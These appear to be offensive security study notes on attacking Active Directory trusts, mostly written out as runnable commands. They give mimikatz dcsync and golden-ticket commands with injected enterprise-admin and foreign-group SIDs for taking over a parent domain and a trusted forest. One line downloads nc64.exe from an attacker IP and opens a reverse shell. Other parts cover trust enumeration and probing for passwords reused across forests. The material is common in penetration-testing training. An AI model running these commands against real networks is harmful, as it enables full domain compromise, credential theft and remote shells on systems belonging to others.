Multi-domain AD; Parent-child trust is transitive (multiple link of bi-directional trust). Enterprise Admins = Domain Admins in every domain in the forest, only exists in the root domain.
In the context of an Active Directory forest, our ultimate goal is to escalate our privileges from domain admin of one domain to Enterprise admin. The most direct way to obtain this is to compromise the root domain and obtain Enterprise Admin group membership.
Compromise forest pre-requisite at least to be a Domain Admin / DC Local Account to do dcsync by creating golden ticket via krbtgt hash.
DA to Enterprise Admin
#obtain current compromised child domain krbtgt hashlsadump::dcsync /domain:prod.corp1.com/user:prod\krbtgt#query current domain SID and parent/root domain SIDGet-DomainSID-Domain prod.corp1.comGet-DomainSid-Domain corp1.com#domain = current domain#sid = current domain sid#krbtgt = current domain krbtgt hash NTLM#sids = root domain sid + "-519" (enterprise admin)kerberos::golden /user:h4x /domain:prod.corp1.com/sid:S-1-5-21-3776646582-2086779273-4091361643/krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519/ptt#golden ticket injected, pretending to be the enterprise admin#golden ticket will get rewritten by the domain controller in the current domain with the trust key before going to the parent domain so the parent domain perceives us as a legit enterprise admindir \\rdc02.comply.com\admin$psexec \\dc01 cmdinvoke-command -computername rdc02.comply.com-scriptblock {iwr -uri http://192.168.X.Y/nc64.exe-o c:\windows\tasks\nc64.exe; c:\windows\tasks\nc64.exe192.168.X.Y 443-e cmd.exe}
No real security boundary exists between domains inside an Active Directory forest, but between multiple forests.
If without DA, and unconstrained delegation exists, it can be used to compromise root AD with printer bug.
compromise other forest
#pre-requsite: SID History enabled netdom trust targeted_corp2.com/d:corp1.com_compromised /enablesidhistory:yes#sourceName: target ; TargetName: current compormised domainGet-DomainTrust-Domain corp2.com#TrustAttributes : *TREAT_AS_EXTERNAL*,FOREST_TRANSITIVE#enum for custom forest domain local security group in the target with RID >1000 (sid尾數) (not global security group like DA / EA)Get-DomainGroupMember-Identity "Administrators"-Domain corp2.com#GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=corp2,DC=com#MemberSID : S-1-5-21-4182647938-3943167060-1815963754-1106lsadump::dcsync /domain:corp1.com/user:corp1\krbtgtGet-DomainSID-domain corp1.comGet-DomainSID-domain corp2.com#generate golden ticket with the >1000 sid local domain admin groupkerberos::golden /user:h4x /domain:corp1.com/sid:S-1-5-21-1095350385-1831131555-2412080359/krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-4182647938-3943167060-1815963754-1106/ptt#Extra SIDs: S-1-5-21-4182647938-3943167060-1815963754-1106 ;
A forest is only as strong as its least secure domain and even the security boundary imposed by forest trust can be broken in some instances.
Enumeration
Domain Trusts
@any domain joined client
nltest /trusted_domains
List of domain trusts:
0: CORP1 corp1.com (NT 5) ( Attr: withinforest )
1: PROD prod.corp1.com (NT 5) (Forest: 0) (Native)
The command completed successfully
alternatives
#.net method([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()SourceName TargetName TrustType TrustDirection-------------------------------------------prod.corp1.comcorp1.com ParentChild Bidirectional#powerview win32 api (.net if -NET flag)Get-DomainTrust-APISourceName : PROD.CORP1.COMTargetName : corp1.comTargetNetbiosName : CORP1Flags : IN_FOREST, DIRECT_OUTBOUND, TREE_ROOT, DIRECT_INBOUND#if corp1.com not root, continue enumGet-DomainTrust-Domain corp1.com#LDAP query to Trusted Domain Object (TDO) that created from domain trustsGet-DomainTrust#similar to .net method output
a user in prod.corp1.com may be a member of a group in corp2.com.
# enumerate groups in a trusted forest or domain that contains non-native membersGet-DomainForeignGroupMember-Domain corp2.comconvertfrom-sid {memberName SID}#reveals that the x user from our current domain is a member of myGroup2 in corp2.com.
Depending on the access rights associated with myGroup2, if we were to compromise the x user in our current domain, we could easily gain access to corp2.com.
We could also use the BloodHound and SharpHound ingestors to perform full trust mapping.
Search for users with the same username in both forests as they might belong to the same employee. If such an account exists, there is a chance that the accounts share a password.
